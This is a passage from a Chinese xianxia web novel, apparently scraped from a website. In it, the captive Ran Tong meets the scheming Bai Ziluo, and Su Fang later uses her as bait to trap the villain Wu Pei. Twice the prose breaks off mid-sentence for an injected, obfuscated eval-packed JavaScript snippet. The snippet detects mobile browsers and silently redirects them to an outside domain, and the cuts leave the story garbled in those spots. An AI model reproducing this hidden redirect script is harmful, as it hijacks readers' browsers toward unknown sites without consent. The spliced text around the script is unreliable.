她的父亲和表哥都是男身女相的美男子,她从小看到大,同类型的美貌对她构不成太大冲击,更关注白子落的气质。 她在苏芳记忆里看到的白子落是个人淡如菊的文雅青年。此刻再见,觉得他同当年比起来变化不小,既具备了大修士凌驾众生的出尘风范,神态间又尽显掌控一切的自信从容。只是站在那里就像一座高大的丰碑令人敬畏,又似浩瀚的沧海,深不可测。所有光芒到了他身旁都会暗淡三分,不愧是万众拥戴的魔道领袖。 “卑职参见君上。” 王霸赶忙向主公行礼,弯腰若熟虾,额头快贴到地上,问候完毕匆忙告退,满脸堆笑地面向苏芳。 “大姐,我去那边歇会儿。” 冉彤感觉他在回避什么,手腕忽被他捉住。 “这丫头我先领走了,免得她妨碍您和君上谈话。” 苏芳斜眼射他两道利箭,粗声说:“这丫头狡猾得很,若是溜了,老娘先扒了你的皮,要滚自己滚!” 王霸干笑两声,扭头瞄了瞄冉彤,那眼神明显在警告她多加小心。 白子落不想看苏芳发火,和声命王霸退下。 冉彤在他身上找不出一丝愠怒的痕迹,已感受到他的温和大度,心想万象圣尊就是有风度,这份涵养与夏炎不相上下,当年二人定是志同道合才义结金兰的。 苏芳没等王霸离开便凶巴巴指责白子落:“师弟,你是不是觉得我成天闲着没事干,专挑些杂七杂八的破事儿使唤我?那吴沛是你手下,不听话你处罚便是,干嘛叫我去管?就不怕外人笑你御下不严,外强中干?” 冉彤见王霸逃也似的跑了,这才明白他为何退场。 哪个手下敢围观同僚对主公放刁啊,虽说苏芳是白子落的师姐,但名分上却是主仆,怎能如此犯上? 再看白子落,堂堂万象圣尊,呼风唤雨,号令八方,平日接受的都是众人的顶礼膜拜,这要是传出去岂不颜面扫地? 她越想越慌,心里直发毛,生怕自己目睹这一幕会被白子落记恨,真想眼一闭装昏倒。 谁知白子落完全不在意苏芳失礼,和煦微笑着耐心解释:“师姐,为万岁治病需耗费大量灵力,这对吴沛而言确系不小的损失,他有所顾虑也情有可原。我身为主公,不能在他和秦不羁之间厚此薄彼,若强令他照办,其他人也会有微词,这才请你出面。” 苏芳不受哄,反唇相讥道:“你如今越来越有当权者的派头了,自个儿做通情达理的好人却让我做恶人,真打得一手好算盘。” 白子落失笑,叹了两声,竟开始讨好。 “师姐,小弟难得求你一回。以往你遇到麻烦我可是二话不说先帮忙的,你想想我的好处,忍心计较吗?” 冉彤唬得一愣一愣的,万象圣尊居然以弟弟的口吻向女人撒娇,她真怀疑自己在做梦。 但随即省悟白子落定是吃透了苏芳的性格才使用这种事半功倍的手段。 苏芳果然有所软化,撇了撇嘴说:“我不是同你计较,你让我去杀人,去冲锋陷阵,我眉头都不会皱一下。可你明知我最烦 这些鸡毛蒜皮还让我去,我若推脱秦老三他们不会怪你也不会怪吴沛,倒要合起伙来怨我不出力了。” 白子落柔声哄道:“师姐尽管按喜欢的步调处理就好,若有人说闲话,小弟自会向着你。” 冉彤从二人的互动中真切感受到这姐弟俩感情深厚,苏芳际遇虽惨,能有这么一个实力强大,且真心爱护她的亲人随时护持着,或许是老天对她的补偿。 正胡思乱想,白子落突然看向她,那柔和的目光顿时像万斤巨石压得她双腿发软。 “师姐,这孩子是谁呀,瞧着有点眼熟。” 苏芳看了看冉彤,如实交代:“她叫冉彤,是离恨天的通缉犯。” 冉彤见白子落细致端详她,赶忙低头躲避。 白子落“哦”了一声说:“她就是那个协助夏炎脱逃的小姑娘呀,这么说师姐见过夏炎了?” “昨天在常乐山下撞见那死鬼,他下手太狠,老娘敌不过,便抓了这丫头做人质。姓夏的是她干爹,还很宝贝她。” 白子落轻笑:“他竟会收养这么平庸的小丫头么?真叫人意外啊。” 苏芳尖刻道:“你别瞧她不起眼,鬼心思多着呢。” 她不想跟白子落谈论夏炎,当即打发他:“我这就去找吴沛,监督他给万岁治病。你事多,先回吧。” 白子落点点头,却没动,望着冉彤说:“师姐带这丫头行动不方便,让小弟领回七曜城替你看管吧。” 冉彤登时心惊,七曜城犹如铜墙铁壁的监狱,去了那里更难逃脱了。 寒气从脚底直蹿头顶,她恐悚地偷瞄苏芳,对方也正好看向她,吓得她针扎似的退缩。 白子落继续劝说:“这丫头既然狡猾,保不准会给师姐添乱,交给小弟便可万无一失。” 苏芳眉头皱出川字,又冲他黑脸。 “怎么?你觉得我连个小丫头都看不住?” 白子落苦笑辩解:“师姐莫急,我是怕你再被夏炎伤害,有这丫头做人质,那人总会有所忌惮。” 苏芳被揭了疮疤,脸色更加阴沉,咬住下唇,捏紧双爪,眼眶里溢出杀气。 白子落叹气:“师姐啊,我早说你吃亏在心软上,这么多年了,你受过的苦难我都不忍细数,可曾见夏炎对你做出过任何补偿?他是你命中的魔障,只会让你不断受伤,小弟实在不愿你再被负心汉拿捏,无端受委屈了。” 冉彤觉得这话听着像拱火,可是找不到确凿证据,只笃定白子落对夏炎的仇视不压于苏芳,是必须防备的敌人。 苏芳最恨别人往她伤口上撒盐,咬牙作响,怒斥:“白子落!我的事轮不到你指手画脚,再啰嗦,你的事我也不管了!” 白子落无奈摇头,眼中掠过烟雾般的失望,马上恢复宠溺微笑,连声哄劝:“师姐别生气,小弟再不敢多嘴了。但说到这丫头,她身上带着我赐给万岁的映真镜。这法宝可不能落到恶人手里,今日正好收回来。” 冉彤心里顿如蚁巢倾覆,万分焦急。 映真镜是她不可或缺的法宝,怎甘心失去? 然而情况不容她耍赖,为避免白子落用强,她只好主动取出映真镜,动作无比迟缓,好像在割舍最珍贵的财产。 “启禀圣尊,这镜子是万岁前辈所赠,晚辈并未巧取豪夺。晚辈曾数次靠它脱险,深知这都是仰仗了您的神通,如今物归原主,请允许晚辈向您谢恩,并致以真诚的敬意。” 白子落和蔼注视她,笑容里藏着上位者对位卑者的不屑和藐视,如同观看一只微不足道的蝼蚁。 “你这丫头倒会说话,果真伶俐得很。可惜夏炎为人古板,向来不喜欢你们这种古灵精怪的孩子,你跟着他日子久了只怕不如意。” 他微微摇头,露出惋惜之情,笑言:“到了那时你不妨来七曜城归附本座,就凭你这股聪明劲儿,本座稍加点拨你准会有大出息。” 冉彤心如绷紧的弓弦,断定他在挑拨。 夏炎豁达随性,从未表现出半分刻板,她很少见到比他更包容小辈的前辈。 况且她不过是籍籍无名的小虾,若不是夏炎干女儿这一身份,又怎入得了他白子落的眼? 他分明抱着争抢或离间的心思,我刚才真看走了眼,此人城府极深,虚伪狡诈,算计人的功夫只怕和法力一样强。 她陪着十二分的小心,谨慎回道:“圣尊谬赞了,晚辈资质粗陋,一条烂泥鳅哪有福分跃龙门?况且干爹对晚辈恩重如山,晚辈能有今日,全仗他悉心护持,晚辈发誓追随,纵使被他嫌弃也不敢背离。” 白子落闻言笑容僵硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们相识于微时,一路同甘苦,共患难,一步步登上修真界的顶峰。当年他遇害失踪,本座心急如焚,八方奔走,花了大力气营救。若非他辜负师姐在先,本座也不会对他心存怨念。” 冉彤见他的视线落回自己身上,忙垂头做出聆听的姿态。 白子落温和道:“你干爹学识渊博,是不可多得的好老师,你能得他庇护是莫大的福气,务必善加珍惜,竭诚尽孝,切莫辜负他一番心血。” 冉彤点头不迭:“圣尊教诲晚辈谨记于心。” 她不用映真镜也能照透白子落的伪善,这是怕她回头向夏炎转述他前面那些拱火挑拨的话,在这儿假惺惺找补呢。 人心这东西看似复杂,其实读懂一点都不难,再坏的心眼归根结底也左不过通过那几种常见的思路来体现。活了两千多岁的老怪物,玩弄心计的手腕仍没能超出此一范畴。 她不由得感叹,提升修为才是修行的根本目的。 所谓权术伎俩,凡人也能玩得风生水起。就拿白子落来说吧,若无顶尖的法力支撑,与那些老奸巨猾、俗不可耐的凡人奸雄有何区别? 一个人成天琢磨阴谋诡计就会流于下作,尤其是男人,若太过腹黑,即便长得再美貌,地位再崇高,观之也觉面目可憎。 白子落和苏芳客套几句,告辞消失。 苏芳收了法阵,传音唤回王霸,吩咐道:“先带老娘去找秦老三,看看他那边是什么情况。” 自从跟了她,冉彤的心便像毽子,随时被踢到嗓子眼。 想起秦不羁那恶鬼般的凶悍嘴脸,她背脊阵阵发凉,忙问苏芳:“苏前辈,我们不先去找干爹吗?” 苏芳说:“我和夏炎的帐一时半会儿算不清楚,秦万岁病重,先救了他的小命再说。” 她不容商榷地下令动身,冉彤直起鸡皮疙瘩,暗骂自个儿昨晚为何要想老秦,俗话说怕什么来什么,霉运定是被她的念头引来的。 76.胁迫 冉彤正小心隐藏虚怯,王霸忽然凑近调侃:“你这丫头胆子不是很大么?原来也知道害怕呀?” 苏芳立马质问他:“你们认识?” 王霸捂嘴格格直笑,屁股被她狠狠踢中,痛呼着窜出三丈远。 “问你话就老实回答,装什么蒜呢!?” 王霸捂住痛处赔罪,一瘸一拐走到冉彤身边,看她一眼,讪讪道:“秦三哥跟她更熟,前些天在松阳被她偷袭,差点丢了性命,扬言要让这丫头不得好死呢。” 冉彤不由得打个寒颤,脑门沁出冷汗,忙向苏芳辩解:“晚辈并非存心使坏,当日秦前辈要猎杀一名白泽女妖,晚辈见那小白泽可怜,才用干爹给的鸿蒙震爆符阻止秦前辈,真没想过伤他性命。” 令她意外的是,王霸竟肯替她作证,点着头说:“我当时也在场,大致就是这么一回事。” 她斜眼偷瞄这小老头儿,对其顿生好感,上次在松阳也全靠他替自己和武翩翩解围,想不到“十柱石”里也有好人。 苏芳知道秦不羁的德性,嗤笑:“我当多大的事呢,秦老三这是久走夜路必遇鬼,活该他长记性。” 冉彤趁机向她表明忧惧,带着哭腔说:“苏前辈,你一定知道秦前辈发起火来有多可怕,晚辈实在不敢去见他。” 苏芳不耐烦地打断:“他算什么东西,见了老娘屁都不敢放。你只管安心跟着老娘,只要别耍滑头,老娘保证秦老三动不了你一根毛。” 王霸在一旁加油添醋,眉飞色舞夸耀:“大姐在七曜城的威信仅次于君上,平日里说一不二,谁敢不从?你待会儿正好趁机看看秦三哥见了大姐是个什么怂样,那可是千载难逢的有趣场面,错过可惜。” 没说完又挨了苏芳一脚。 “唯恐天下不乱的臭小子,分明是你想看戏吧!” 王霸慌忙躲避,不停嚷着:“大姐,我错了。您就当我是个屁,别跟我一般见识!” 那模样哪像声名显赫的大修士,瞧着比无赖少年还顽皮。 冉彤忍不住笑话这老活宝,花了老大力气制伏脸肌,憋得肩膀微微颤动。 王霸佯装生气地指责她:“不讲义气的丫头,亏我刚刚还帮你说话,你居然不替我求情!” 冉彤连忙向苏芳作揖恳求:“苏前辈,王前辈说话无心,求您别见怪。” 苏芳遽然瞪视她,目光格外犀利。 “怎么,你想讨好他,让他帮你逃跑?” 冉彤觉得她的疑心病来得蹊跷,忙否认:“晚辈怎敢有那心思,前辈千万别误会!” 王霸一脸谄媚地靠近苏芳:“大姐,连秦三哥那样的浑人都不敢同您作对,遑论我这个胆小鬼?我是看您不开心,故意嘴贱逗您玩呢,没想到您竟当真了。” 苏芳冷哼着眼睛来回扫了扫二人,阴森警告:“你们最好说的都是实话,要是被老娘逮到谁耍花招,看老娘怎么收拾他!” 她率先转身前行,命令他俩跟上来。 王霸冲冉彤吐了吐舌头,示意她乖乖跟随。 冉彤像风暴里的小船,在巨浪中上下颠簸,觉得脚下遍布陷阱,每走一步都可能触发危险。 王霸像是照顾她的心情,沿路搞怪逗她,可她怎么也轻松不起来,揣着那些铁蒺藜般的不祥念头,惶惶走向未知的风波。 冉彤遭绑架后的一昼夜里,夏炎内心如困兽般焦灼。 他尝试过一切方法搜寻苏芳的踪迹,设下上百种法阵重新联系冉彤身上的追踪禁制,一次次碰壁,一次次失望,让他急躁难安,像没头苍蝇四处乱转。忽然惊觉,自己已经很久没像这样担心过某人了。 他想或许是因为冉彤是他重生后结识的第一个真正意义上的同伴,她孤苦伶仃,只有他可依靠,这肝胆相照的信赖也深深慰藉了他,给予他纯粹的温暖与陪伴。于是她成为他义不容辞的责任,守护她的安全就是在守护自身价值。倘若辜负她的信任,不止会令他长久抱愧,自信心也会因此严重受损。 这份羁绊就像一根强韧的丝线将他们紧紧相连,而这段缘分也许还有更深的意义。 次日上午,他被一阵困倦侵袭,惊喜地辨认出这是白子落在联系他,没有丝毫迟疑地进入梦境。 眼前出现一座繁花似锦的庭园,幽径两侧的荼靡上玫瑰飘香,蔷薇摇曳,周围亭台楼阁瑰丽雅致,俨然帝王居所。 夏炎猜此处是白子落的宫殿,见他正站在凉亭里,背对着他摇头叹气,那声音带着难以言说的沉重感,让夏炎屏主呼吸。脑海里随之闪过无数坏念头,以为冉彤已惨遭不测。 刹那间,千灾百劫不为所动的人竟有些茫然,愣了愣,强忍住混乱走向白子落。 “义兄!” 白子落转身看他,盈盈微笑并没有缓解他的紧张。他怕听到噩耗,只草草同对方打了个招呼,嘴唇轻颤,重温了只在青年时代有过的失态。 白子落观察着夏炎的反应,看出他对冉彤的重视非比寻常,不露痕迹地向他道喜:“义兄,好消息,我找到师姐了,刚刚才跟她见过面。” 夏炎忙问:“冉彤可还安好?” 每个字都急得像从牙关里蹦出来似的,满含关切与担忧。 白子落打趣:“义兄怎地如此心急?那丫头当真只是一个寻常小辈?” 夏炎面色一滞,稳重道:“看贤弟的反应,冉彤想必安然无恙,愚兄这便放心了。” 白子落没错过他脸上漏出的愧色,点头说:“师姐没伤害冉彤,还很照顾她。我早说她是个重感情的人,嘴上说恨你,心里却还放不下,不会对你看重的人下手。” 夏炎更内疚,低声问:“令师姐如今人在何处?” 白子落劝道:“师姐吃软不吃硬,你若贸然去救人反而不美。她绑架冉彤是想以此要挟你,我想用不了多久她就会主动去找你,你且耐心等候便是。” 夏炎知他言之有理,无奈地默默点头。 白子落看他一眼,轻快笑道:“师姐说义兄收那冉彤做了干女儿,小弟还没向你贺喜呢。” 夏炎赧然道:“没这回事,是那丫头为保命随口撒的谎。” 白子落微微一怔,大笑:“这丫头真是个人才啊,我看她头脑机敏,口齿伶俐,和寻常孩子大不一样。难怪义兄如此中意,就是我也喜欢得紧啊。” 他恰当铺垫后带出重点:“小弟本想略施小计,哄师姐把冉彤交给我,奈何她不肯答应。你也知道她的性子,只能附和,不可违逆。所以我只好当着她说了义兄不少坏话,日后义兄若是知晓,可千万别错怪小弟啊。” 夏炎估计他和苏芳协商时冉彤也在场,苦笑摇头:“贤弟为我如此费心,愚兄唯有感激,又岂会疑心?” 得知冉彤平安,他的气息终于顺畅了,深谢白子落热心相助,也对苏芳爱憎分明的做法感触颇多,拱手致谢道:“此番多亏贤弟了,愚兄感激不尽,请先受我一拜。” 白子落忙上前扶住他,正色道:“义兄又见外了,你我兄弟之间何须这些虚礼?” 夏炎预感冉彤会带苏芳去灵樾森找他,向白子落作别。 临别时白子落叮嘱:“小弟会替义兄探寻灵骨的下落,还有一事,不得不提。这些年离恨天在我座下安插了不少奸细,长年清剿不尽。自从你脱难后,他们多次对我威逼利诱,防止我和你联手。我为了稳住他们,不得不假意周旋。” 夏炎不齿道:“这帮小人向来无所不用其极,难为贤弟了。” 白子落说:“我猜他们必会对你耍阴招,离间你我的兄弟情。请义兄多加分辨,勿要中了歹人圈套。小弟对你的情义天日可表,还望义兄给与我充分的信任。” 望着他诚挚的眼神,夏炎的心窝再度被暖融融的感动填满,拍了拍他的肩头,会心笑道:“贤弟的心意我都明白,在这乱世中唯有真情最宝贵,你不负我,我又怎能负你?” 白子落欣慰道:“有义兄这句话,小弟便放心了。江湖路远,义兄多保重。” 二人拱手作别,各自脱离梦境回归现实。 白子落睁开双眼,弹指放出一只传讯的灵禽。 灵禽拍动翅膀,矫健地飞出窗户,似一道白色电光划过七曜城上空,消失在天边。 此时南华州的一座山地里,一群黑狼正集体觅食,头狼突然竖起耳朵,警觉地望向天空,只见一只雪白的灵禽携风雷之势俯冲而来,唬得狼群哀嚎逃窜。 头狼在前领路,慌急寻找安全地带,一只巨锤般的铁拳骤然砸中它的天灵盖,打得脑浆迸裂,眼珠崩眶,来不及发出任何声响便一命呜呼。 狼群惊恐四散,哀嚎着躲进树林。 那铁拳舒展开,稳稳接住降落的灵禽,灵禽发出短促的鸣叫,化作一道织锦书写的手谕。 “加紧搜寻夏炎动向,若有消息即刻来报。” 秦不羁像收藏珍宝那般小心叠起手谕放入储物袋,快速返回不远处的山洞。 洞内灵光闪烁,弥漫药味,秦万岁身体浮在半空中,皮肤发青,气息微弱。 古怀熹正坐在下方向他输送治疗法力,这滋味很不好受,秦万岁不时抽搐呻吟,手指揪着衣衫,不住揉捏。 看着虚弱的儿子,秦不羁心痛欲裂,一贯透射凶光的双眼涌出慌张焦急的泪水,赶上去关切询问:“二哥,怎么样了?” “别急,暂时没事。” 古怀熹抬眼看他,问:“君上有何指示?” 秦不羁想给他看手谕,古怀熹忙制止:“这是君上下达给你的旨意,若是机密便不用告诉我。” 秦不羁忙说:“算不得机密,就是让我加紧追查老夏。” 古怀熹点点头,双手结印收功,将秦万岁缓缓放下。 秦不羁小心接住,轻轻擦拭秦万岁脸上的汗水,柔声问:“儿啊,你感觉好些了吗?” 秦万岁虚弱得说不出话,微微点头。 这段时间长辈们绞尽脑汁施法为他续命,耗费修为不说,也把他折腾得够呛。 他不止一次劝说父亲放弃,无奈秦不羁执意挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047842|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救,为着这沉甸甸的父爱,他被迫认命忍耐,埋怨自个儿破油灯般的生命太顽强,拖拖拉拉就是不肯痛快熄灭。 古怀熹走近查看,长叹道:“我只能做到这个地步了,万岁的身体已到了极限,再也承受不起任何法术,若不尽快洗筋伐髓,三日内便会生机断绝。” 秦不羁脸色煞白,额头青筋像盘根错节的树枝,结出一颗颗硕大的汗珠。 “老八怎么还不回来,他到底请不请得动大姐啊?” 他正想联系王霸催促,那二人的气息不早不晚闯入神识,已到了洞外。 “他们来了!” 秦不羁抱着儿子匆匆出洞迎接,苏芳华丽的形容在日光下闪耀夺目,尽管神色倨傲,但在秦不羁看来宛若天神降临,任何女子都没她美丽,就是来救苦救难的活菩萨。 他激动得热泪盈眶,正要上前求救,苏芳身后忽然探出个鬼鬼祟祟的人影,圆脸圆眼弯眉小嘴,像年画上的喜庆小姑娘,不是冉彤是谁? 秦不羁登时面部扭曲,两眼充血,炸裂般嚎叫:“死丫头!可逮着你了!” 他伸出右爪,隔空向冉彤放出一股强劲的吸力,即将得手前一刻,苏芳凤眼怒睁,凌厉的罡风如同大扫帚狠狠扫荡他。 秦不羁躲闪不及,被大力抽飞。 秦万岁脱离他的臂弯飞向空中,王霸一个箭步冲上去轻轻将其接住。 秦不羁直挺挺撞上岩石,木榫般嵌入碎石中。 苏芳大骂:“秦老三你吃错药了,敢在老娘跟前撒野!” 秦不羁挣扎爬出,舔了舔嘴角的血沫,气急败坏道:“大姐你不知道这丫头有多坏,要不是我命大,那日已死在她手里了!” 苏芳双手抱胸,奚落:“老娘已经知道你们的过结了,你平日横行霸道,滥杀无辜,踢到铁板也是自找的。” 秦不羁像吃了兑辣椒的黄连水,怨怒交加地指斥冉彤:“死丫头你究竟用了什么迷魂计,先是哄住夏炎,如今连大姐也被你骗得团团转。” 他顺势醒悟到什么,质问苏芳:“大姐,你该不会是因为老夏才袒护这丫头吧?这小骗子得了老骗子真传,你若信她还有苦头吃!” 大老粗说话不过脑子,苏芳又是个没理性的疯子,当场对他出杀招,被古怀熹和王霸联手阻拦,秦不羁没事,那山洞却被整个震塌了。 王霸顶着烟尘向苏芳求饶:“大姐,秦三哥因为万岁的病这几天急得人都不清醒了,您切莫拿他的话当真!” 苏芳尽显泼妇风范,詈斥:“我管他清醒还是糊涂,敢这么挖苦老娘就是找死!” 古怀熹挡在秦不羁跟前安抚她:“大姐,老三固然有错,但罪不及孩子。万岁危在旦夕,离不开他爹的救护,您杀了老三,岂不要了万岁的命?请务必手下留情。” 冉彤跟老秦没仇怨,也不愿他因自己丧命,忙壮着胆子替他求情:“苏前辈,是晚辈先惹秦前辈发火,他才口不择言冒犯您。求您看在秦公子的份上网开一面,别跟自家人伤了和气。” 秦不羁认定她奸诈,刀架脖子上也要骂:“死丫头少假惺惺,老子早看透你了,不会信你的狐媚子招数!” 冉彤明知他不可理喻仍要向旁人表明心迹,冷静道:“秦前辈您消消气。上次的确是晚辈没分寸,但本意是想阻止您乱杀生,根本目的还是为秦公子着想啊。您看您杀了那么多人鬼妖给他配药,他的病却越来越重,没准就是被您的杀孽连累了。” 她知道苏芳和王霸都持这种看法,直击秦不羁要害,将道理揽到自己这边。 苏芳见秦不羁被古怀熹制住,王霸又机灵地替她扇了他几个大嘴巴,暂时息怒,呵斥那哇哇乱叫的疯汉:“秦老三你别不服气,老娘分得清黑白,问问你儿子,看他怎么说。” 她用灵力将秦万岁接到跟前,问:“万岁,你向来诚实,跟我说说这冉丫头该不该杀?” 秦万岁发声艰难,拼命摇了摇头。 苏芳又说:“你觉得她是好人的话就点点头。” 冉彤见秦万岁为了点头,硬是憋红了发青的小脸,立刻难过到鼻子犯酸,央求苏芳快救人。 苏芳悠闲道:“老娘的功法跟他们几个不同源,得找吴沛那小子来。” 古怀熹忙说:“我们轮流劝说了很久吴沛都不肯应允,此事非大姐出面不可。但此人狡诈,若只是用强胁迫,他定会去君上跟前罗唣,传出去恐有损君上的威严。” 苏芳扭头叫冉彤过去,伸指抬起她的下巴盯着她的脸左右瞧了瞧,对古怀熹等人说:“任他奸似鬼,今天也得喝老娘的洗脚水。老娘带着这丫头就是用来对付他的。” 冉彤预感要遭殃,心里直犯嘀咕。 我该不会就是她的洗脚水吧,这是要做炮灰还是当诱饵啊?不管哪种,都定会吃苦头。 她觉得自己像块柔软的面饼,被苏芳任意揉搓不算,还随时会被放在锅里烙,火上烤,倒霉到家了。可是想到秦万岁待她的情义,抗拒和怨念立刻消失无痕,决定尽力冒险搭救他。 77.诱饵 那吴沛绰号“无恶不作”,顾名思义是个坏事做尽加做绝的恶棍。冉彤从苏芳等人的口风里听出他们也很不待见此人,如果能找到其他替代者绝不会联系他。 王霸说:“老六现下在石马城附近游荡,老七正替我们盯着他。” 冉彤听说“十柱石”里排名第七的是外号“五毒郎君”的司马琨,他精通毒术,曾多次靠这门功夫越级刺杀高阶修士,且神出鬼没,鲜少在人前露形容。 苏芳用联络阵召唤司马琨,红光闪过,一位身着淡紫色纱衣的少女亭亭现身,她雪肤花貌,星眸澄澈,檀口娇艳,虽比不上苏芳天姿绝色,也算一流佳丽了。 冉彤目瞪口呆,惊讶这娇滴滴的美女为何会被称作“郎君”。 “大姐,别来无恙。” 司马琨礼貌地向苏芳行礼,声音脆似黄鹂,语气和动作却很飒爽。 苏芳不冷不热问:“吴沛这几日在做什么?” 司马琨脸色瞬间沉郁,毫不掩饰厌恶情绪,冷哼道:“那厮整日东游西荡,想方设法甩开我。我也不愿看到那副令人作呕的嘴脸,为了万岁才忍着恶心跟踪监视。” 说到这儿她狠狠瞪一眼王霸,埋怨:“都怪王八蛋躲懒,非让我去盯梢!” 王霸嬉皮笑脸道:“老六见你顶着这副如花似玉的皮囊才肯让你跟着,换作我,他早躲得不见人影了。” 冉彤以为其他人早习惯了他的嘴欠,不料司马琨幡然变脸,抬手向王霸射去一股劲气。 王霸反应迅捷,灵活躲过攻击,衣摆撕裂,后方的树林被劈出一条长达数丈的通道,消失的树木都被毒素融成黑水,阵阵恶臭促人捂鼻。 看得出司马琨出手时没手软,碍于法阵限制才让王霸躲过一劫 王霸气愤指责:“你小子也忒小气了,这点玩笑都开不起!” 冉彤听他如此称呼司马琨,以为后者男扮女装,忙用神识探查,对方是个货真价实的女娇娥。 矛盾的发现更令她疑惑了。 只见司马琨气得直哼哼,怒斥王霸:“你笑话我没关系,为何轻薄我妹妹?这几日那姓吴的淫贼总色眯眯盯着琳儿看,我真恨不得立刻杀了他。你这王八蛋敢来挑事,本大爷当然先拿你出气!” 一个美女娇声自称“大爷”真说不出的违和,可冉彤看司马琨迄今的表现也只有外表和声音像女人,假如换上男人的皮囊和声线就是彻头彻尾的糙汉子。 苏芳嗔喝他俩:“都给老娘住口!要吵要杀回头换个地方随你们斗个你死我活,别在老娘跟前闹腾!” 她像一道威猛的炸雷让现场恢复安静。 接下来秦不羁先开口,替司马琨指责王霸:“老七,你知道王八蛋一直这个烂德性,臭嘴能熏死苍蝇,在君上驾前都动不动说浑话。我们这些明白人只当他是疯子,你犯不着同他置气。” 冉彤偷偷翻白眼,无声讥讽:“你老秦也有资格说别人疯子?真五十步笑百步。” 又不禁感叹“十柱石”里人人有怪癖,目前看来也就古怀熹还算正常。 她顺势用神识偷看古怀熹,初见时就觉得这人露在面具外的半边眉眼很像父亲,这会儿仔细观察,并不是错觉。 对方那微微上扬的眼尾,眉峰处的棱角都能与记忆中父亲的脸大致贴合。不过父亲是典型的俊美长相,男人但凡精致细腻点就与他有些挂相,表哥也长得挺像他,她对此不怎么惊讶,只因这一原因对古怀熹凭空多了几分好感。 古怀熹察觉到她在偷窥,目光如炬地瞥她一眼。 冉彤心脏一缩,赶紧收回神识。 苏芳已用灵力在虚空中绘制出石马城周边的地图,在城外圈出一个坐标,吩咐司马琨一个时辰后将吴沛引到此处,行动必须巧妙,不能让他看出端倪。 司马琨领命消失,苏芳带领余人以缩地术前往约定地点。 司马琨的怪异特征冲淡了冉彤的紧张,路上悄悄向一旁的王霸打听。 “王前辈,晚辈有个问题不知当讲不当讲。” 王霸取笑:“你这么问就是想讲嘛,快说快说。”,接着狡黠警告:“若要我协助你逃跑那便休想,大姐非撕了我不可。” 冉彤笑道:“您两次帮我,晚辈怎敢给你惹祸?晚辈是想知道刚刚那司马前辈……究竟是男是女啊?” 王霸不屑讥笑,卖着关子反问:“你觉得呢?” 冉彤知道他正对司马琨不满,不怕当着他非议后者,直率道:“单看外表无疑是女子,可言行举止又像极了男人,给人的感觉倒像是男人的魂魄寄居在女子的躯壳里。” 王霸哈哈一笑:“真是个聪明的丫头,一下子就说准了。司马琨有个孪生妹妹叫司马琳,兄妹俩相依为命上百年。某日司马琨遭人暗害,重伤将死。司马琳主动献舍将身体让给哥哥,自己的元神则在体内陷入沉睡。只在癸亥年癸亥月癸亥日癸亥时这一至阴的时刻才会苏醒,换言之四五百年才能醒一次。” 冉彤豁然开朗,回想起司马琨怒发冲冠的神情,明白那暴躁都源自对妹妹深切的爱护和愧疚。 他珍视妹妹用牺牲奉献的身体,吴沛邪淫的注视在他看来就是对妹妹的亵渎,难怪会愤恨。 又想他一个粗犷老爷们以女子身体存活上千年,内心必定痛苦,听说心情阴郁压抑的人最适合钻研毒术。那股无法排解的怨念就像打开毒药世界的神秘钥匙,能引导人更敏锐的感知毒性,认识毒物。想必就是这匪夷所思的经历造就了“五毒郎君”的威名,其中得失只有司马琨自己清楚。 一行人走了不到半刻钟来到石马城外的指定地点,连片荒山寂静无人,日头正毒,鸟兽也躲着不出来。冉彤满心疑惑地四下探寻,猝然被强大的灵力包裹,身体僵硬麻痹,直直倒在草丛中。 她惊恐地瞪大双眼,无助望向朝她走来的苏芳,求告:“苏前辈这是何意啊?” 苏芳斥责:“怕什么,没出息!” 王霸替冉彤询问:“大姐想让这丫头做诱饵?不愧是您,此计甚妙。” 接着低头宽慰她:“别怕,照大姐吩咐的做,包你没事。” 苏芳让他滚一边去,严肃吩咐冉彤:“待会儿吴沛来了,你就跟他说你是个散修,被人袭击困在这里。他若问你来历,你就说你无门无派是个孤儿,求他搭救。记住,要是搞砸了休怪老娘大刑伺候。” 冉彤相信她不会恶意残害,此举是为了对付吴沛而设定的圈套。只要自己好好配合就不会危急生命。 她快速恢复镇定,狗腿地向苏芳保证:“前辈放心,晚辈一定尽力表现,绝不辜负您的期望。” 苏芳等人同时隐身消失,偌大的山野中只剩下她孤零零躺在蒿草荡里,起初还没觉得难受,可过了没多久附近的蚊虫发现美味,纷纷围拢过来叮咬。 她受不了剧烈的痛痒,运用灵力驱赶,苏芳的呵斥随即传入神识:“死丫头你这样会暴露,给老娘忍着!” 冉彤只得收起灵力,任由毒虫在体表肆虐。 不一会儿浑身上下布满密密麻麻的红疙瘩,其中不少是毒性猛烈的虫子啮咬的,所幸胸前挂着何东篱给的蛇牙吊坠,才让她免受毒素侵蚀。 这酷刑持续了大半个时辰,就在她打熬不住,想对自己施加昏睡咒时,山间突然响起风吼,一道黑影电射至跟前,显出一个面目猥琐的男人。 此人中等身形,头大肩窄,走路肩膀一高一低,脸也一边大一边小,皮肤粗糙蜡黄,法令纹犹如两道沟壑围困嘴角,不做任何表情也显得阴险恶毒。 他的眼睛不大,眼球异常突出,蒙着一层浑浊的黄气,瞳孔里闪着狡诈贪婪的幽光,仿佛时刻算计着什么。 冉彤断定他就是臭名昭著的吴沛,忙深吸一口气,准备执行苏芳交派的任务。 吴沛已暗中观察她许久,见这稚龄少女竟有净境修为,以为她背景深厚,靠近时极为谨慎,脸上还挤出一丝看似和蔼的笑容,小声问:“小姑娘,你怎么了?” 冉彤用可怜的颤音回答:“我被人袭击了,灵力受阻,身体不能动弹,求前辈搭救!” 